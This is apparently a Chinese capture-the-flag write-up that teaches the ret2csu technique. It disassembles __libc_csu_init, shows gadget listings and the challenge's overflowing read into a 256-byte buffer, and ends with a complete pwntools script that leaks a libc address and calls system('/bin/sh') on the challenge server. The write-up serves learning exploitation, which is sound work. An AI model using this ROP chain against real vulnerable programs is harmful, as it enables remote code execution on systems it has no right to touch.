ret2csu

原理学习:

什么时候用?

找不到简单指令(如 pop rdi; ret, pop rsi; ret, pop rdx; ret)的情况下。

所以我们看到_libc_csu_init这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0000000000401250 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14 //rdx = r14
.text:0000000000401293 mov rsi, r13 //rsi = r13
.text:0000000000401296 mov edi, r12d //edi = r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

可以看到rdx = r14,rsi = r13,edi = r12d,可以看到rdx,rsi,edi可以通过r14, r13,r12d来控制,从而我们就可以解决这些指令缺少的问

题。

具体讲一下怎么利用的:

当执行__libc_csu_init(.text:0000000000401285 jz short loc_4012A6)是先执行loc_4012A6:,再loc_401290:

1
2
3
4
5
6
7
8
9
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
1
2
3
4
5
6
7
8
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14 //rdx = r14
.text:0000000000401293 mov rsi, r13 //rsi = r13
.text:0000000000401296 mov edi, r12d //edi = r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx //比较rbp, rbx
.text:00000000004012A4 jnz short loc_401290 //判断为假跳到401290

我们要他继续往下执行所以我们要是其为真,因此rbp, rbx得相等,我们先设置rbp = 1,rbx = 0;执行到add rbx, 1 –> rbx = 1,正好达

到rbp = rbx,r14设置成原本要在rdx要的参数,r13和r12也同理。

注释:由于高32位基本为0 ,所以 rdi = edi = r12d。

1
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]

我们只要把r15设置成我们需要执行的function,就可以 call function 。(r15+rbx * 8 = r15+0 * 8 = r15)

题目

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(_bss_start, 0LL);
write(1, "Start Your Exploit!\n", 0x14uLL);
vuln();
return 0;
}
1
2
3
4
5
6
7
8
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

write(1, "Input:\n", 7uLL);
read(0, buf, 0x200uLL);
return write(1, "Ok.\n", 4uLL);
}

存在栈溢出。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启NX不能直接注入shellcode

这里找不到pop rdi; ret, pop rsi; ret, pop rdx; ret但是有__libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Gadgets information
============================================================
0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012b0 : pop r14 ; pop r15 ; ret
0x00000000004012b2 : pop r15 ; ret
0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x00000000004012b3 : pop rdi ; ret
0x00000000004012b1 : pop rsi ; pop r15 ; ret
0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004011ba : ret 0xfffe

我们可以利用栈溢出构造ROP链进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
io=remote('node5.anna.nssctf.cn',26879)
#io=process('./1')
#gdb.attach(io)
elf=ELF("./ret2csu")
libc=ELF("./libc.so.6")

write_got=0x404018
write_plt=0x401064
csu_start=0x0000000000401290
csu_end=0x000000004012AA
main=0x0000000004011DC

def csu(rbx,rbp,r15,r13,r14,r12,ret_addr):
pay=b'a'*(0x100+8)+p64(csu_end)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
pay+=p64(csu_start)
pay+=b'a'*56+p64(ret_addr) //56填充的是loc_4012A6的7个pop|ret的地址。
io.sendline(pay)
sleep(1)

io.recvuntil('Input:\n')
csu(0,1,write_got,write_got,8,1,main)
io.recvuntil("Ok.\n")
write_addr=u64(io.recv(8))
print(f"write_addr==>{hex(write_addr)}")
base=write_addr-libc.sym['write']
system=base+libc.sym['system']
bin_sh_addr=base+next(libc.search(b"/bin/sh"))
rdi = 0x00000000004012b3
ret = 0x000000000040101a
pay=b'a'*0x108+p64(ret)+p64(rdi)+p64(bin_sh_addr)+p64(system)
io.sendlineafter('Input:\n',pay)
io.interactive()